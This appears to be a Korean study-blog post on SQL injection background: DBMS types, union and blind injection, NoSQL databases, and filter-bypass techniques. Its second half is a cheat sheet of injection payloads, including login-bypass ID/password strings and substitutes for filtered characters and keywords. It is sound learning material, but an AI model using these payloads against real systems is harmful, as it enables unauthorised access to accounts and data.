Background : SQL Injection

sirseo·2023년 1월 6일
0

DH_Web#1

목록 보기
8/13

DBMS

  • 데이터베이스의 정보를 저장하고 관리해 주는 DBMS (Database Management System) 는 크게 관계형과 비관계형으로 분류된다
  • 관계형 : 행과 혈의 집합인 테이블 형식으로 데이터를 저장 ex) MySQL, MariaDB, PostgreSQL, SQLite
  • 비관계형 : 테이블 형식이 아닌 키-값 형태로 값을 저장 ex) MongoDB, CouchDB, Redis

Relational DBMS (RDBMS)

  • Structured Query Language (SQL) 라는 쿼리 언어를 사용하여 데이터 조작
  • SELECT, DELETE 등 여러 문법 알아야 함!

SQL Injection

  • 알다시피 사용자 입력값에 쿼리문을 집어 넣어 공격하는 기법
  • Blind SQL 공격은 시스템이 0, 1 로 반환하는 결과를 통한 공격 ex) substr(), requests.post

Union SQL

  • 쿼리문을 합쳐서 작동시키는 기법 ex) select from table1 union select ~
    ❗각각의 union 쿼리문은 같은 수의 column을 가져야 한다 -> 동일하게 만들어 주기
    ❗select
    from table1 union select null,null...,null from table2; ->동일하게 만드는 법
  • 이렇게 column 갯수를 알아낼 수 있음

✖️ union select = 중복허용 X , union all select = 중복허용

No-SQL

  • RDBMS가 아닌 비관계형 데이터베이스에 대해 인젝션을 하기 위한 공격
  1. Mongo DB : JSON 형태의 Document로 저장, 스키마를 따로 정의하지 않아 각 콜렉션에 대한 정의가 불필요, JSON 형식으로 쿼리를 작성, _id 필드가 primary key
  2. Redis : 키-값 쌍으로 데이터를 저장하며 가장 큰 특징은 메모리 기반의 DBMS 라는 점

-- 이처럼 NO-SQL은 각 DB에 해당하는 문법을 특정적으로 알아야 함!

필터링 우회 기법

  1. =(등호) → like, in

  2. substr(문자열추출함수) → substring, mid, left, right

  3. 공백 → %20, %09, %0a, %0b, %0c, %0d, %a0, (), /**/, +

  4. 숫자를 사용할 수 없는 경우 → false(=0), true(=1), true+true(=2)

  5. or → ||

  6. and → &&

  7. 빈공간, 연산자 응용 Injection
    ex) '=0# , '>-1# , 1'<99# , '=0=1# , '<=>0# , '=1<>1# , '<>1# , '!=2!=3!=4#

  8. 비트 연산 응용 Injection
    ex) '&0# , '^0# , '<<0# , '|0&1# , '%11&1#

  9. 함수를 이용한 Injection
    ex) '<hex(1)# , '=left(0x30,1)# , '=right(0,1)# , '!=curdate()# , '-reverse(0)# , '=ltrim(0)# , '<abs(1)# , 'round(1,1)# , '&left(0,0)# , 'round(0,1)*round(0,1)#

  10. SQL 키워드를 이용한 Injection
    ex) ' <1 and 1# , 'xor 1# , 'div 1# , 'is not null# , admin' order by' , admin' group by' , 'like 0# , 'between 1 and 1# , 'regexp 1#

  11. 주석 없이 True, False SQL Injection

    ID : '=' , PASS: '=' ,
    ID : '<>'1 , PASS: '<>'1
    ID : '>1=' , PASS: '>1='
    ID : 0'='0 , PASS: 0'='0
    ID : '<1 and 1>' , PASS: '<1 and 1>'
    ID : '<>ifnull(1,2)='1 , PASS: '<>ifnull(1,2)='1
    ID : '=round(0,1)='1 , PASS: '=round(0,1)='1
    ID : '0' , PASS: '0'
    ID : '+' , PASS: '+'
    ID : '-' , PASS: '-'
    ID :'+1-1-' , PASS:'+1-1-'

0개의 댓글